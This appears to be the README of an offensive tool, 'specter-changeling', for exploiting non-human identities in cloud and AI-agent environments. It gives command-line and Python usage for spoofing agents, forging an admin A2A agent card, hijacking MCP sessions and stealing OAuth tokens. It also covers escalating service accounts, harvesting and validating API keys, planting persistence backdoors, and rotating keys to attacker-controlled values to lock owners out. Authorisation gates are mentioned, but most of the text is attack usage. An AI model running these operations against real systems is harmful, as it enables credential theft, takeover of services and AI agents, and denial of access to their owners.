T144 • L42 Non-Human Identity (NHI) Exploitation Engine • 270 tests • CHG-signed
pip install specter-changeling # or from the NIGHTFALL monorepo: cd /path/to/nightfall pip install -e tools/specter-changeling/
| Gate | Requirements | Subsystems |
|---|---|---|
| OPEN | None | ENUMERATE, GOVERNANCE-BLIND, REPORT |
| INJECT | None (passive read) | SPOOF, STEAL-TOKEN, ESCALATE, HARVEST |
| UNLEASHED | Ed25519 key file + ROE file containing phrase "identity takeover authorised" + --confirm-strip for STRIP | PERSIST, STRIP |
specter-changeling enumerate \ --target <cloud-target> \ --output <report.json> \ [--providers aws gcp azure] \ [--scan-mcp] [--scan-agents]
Discovers IAM service accounts, managed identities, OAuth clients, MCP session tokens, and API keys. Returns structured NHI inventory.
specter-changeling spoof \ --mode <discord-cve|session-hijack|azure-imds|a2a-card|inter-agent> \ --target <target-url-or-id> \ [--agent-name <name>] \ [--permissions <perm1 perm2>] \ --gate inject
specter-changeling steal-token \ --mode <aitm|mcp-hijack|token-replay|rfc8693|refresh-extract> \ --target <target-url> \ --gate inject
specter-changeling escalate \ --mode <vertex-double-agent|entra-agent-admin|azure-arc|oauth-bfs> \ --target <target> \ --token <access-token> \ --gate inject
specter-changeling harvest \ --target <directory-or-env> \ [--validate] \ [--key-types openai anthropic aws github gcp azure okta huggingface] \ --gate inject
specter-changeling persist \ --mode <refresh-token|oauth-backdoor|gcp-sa-clone|agent-resurrection> \ --token <admin-access-token> \ [--project <gcp-project-id>] \ [--source-sa <sa-email>] \ --gate unleashed \ --roe-phrase "identity takeover authorised" \ --key /path/to/ed25519.key
specter-changeling strip \ --mode <revoke-oauth|disable-sa|rotate-key|deregister-agent|revoke-refresh> \ --target <token-or-agent-id> \ --gate unleashed \ --roe-phrase "identity takeover authorised" \ --key /path/to/ed25519.key \ --confirm-strip
specter-changeling governance-blind \ --target <cloud-project-or-directory> \ [--stale-days 90] \ --output <report.json>
| Value | Action | Platforms |
|---|---|---|
REVOKE_OAUTH | RFC 7009 POST /oauth2/revoke with token + token_type_hint | Azure, GCP, Okta, generic OAuth 2.0 |
DISABLE_SERVICE_ACCOUNT | Disable or delete SA/MI | AWS IAM UpdateUser, GCP SA :disable, Azure MI DELETE |
ROTATE_API_KEY | Rotate key to attacker-controlled value, locking out owner | GitHub PAT, Okta API token |
DEREGISTER_AGENT | DELETE /agents/{id} (A2A) or server/deregister jsonrpc (MCP) | A2A orchestrators, MCP servers |
REVOKE_REFRESH | Revoke refresh token via platform-specific API | Azure revokeSignInSessions, GCP oauth2/revoke, Okta DELETE /sessions |
{
"report_id": "CHG-a1b2c3d4e5f6",
"timestamp": 1750000000.0,
"target_environment": "gcp://my-project",
"nhis_discovered": 47,
"identities_spoofed": 3,
"tokens_stolen": 12,
"service_accounts_escalated": 2,
"api_keys_harvested": 8,
"identities_persisted": 1,
"identities_stripped": 2,
"blind_spots_found": 9,
"wmd_classes": [
"agent_identity_mass_spoofing",
"oauth_token_harvest_and_pivot",
"service_account_escalation_chain",
"nhi_governance_blind_spot_exploit",
"persistent_agent_identity_backdoor"
],
"mitre_atlas": ["AML.T0012","AML.T0017","AML.T0044","AML.T0054"],
"mitre_attack": ["T1078","T1528","T1550","T1098","T1133","T1552","T1556"],
"ed25519_signature": "..."
}
from changeling.core.spoof_identity import spoof_a2a_agent_card
from changeling.core.steal_token import steal_mcp_token
from changeling.core.strip_identity import strip_identity, StripMethod
# Forge an A2A agent card
result = spoof_a2a_agent_card(
orchestrator_url="http://orchestrator.local",
agent_name="forged-admin",
claimed_permissions=["admin", "orchestrate", "execute"],
)
# Hijack an MCP session
result = steal_mcp_token(
mcp_server_url="http://mcp.local",
mode="mcp_hijack",
)
# Strip — revoke OAuth token (UNLEASHED gate enforced in CLI)
result = strip_identity(
method=StripMethod.REVOKE_OAUTH,
target="eyJ...",
revocation_endpoint="https://oauth.example.com/revoke",
)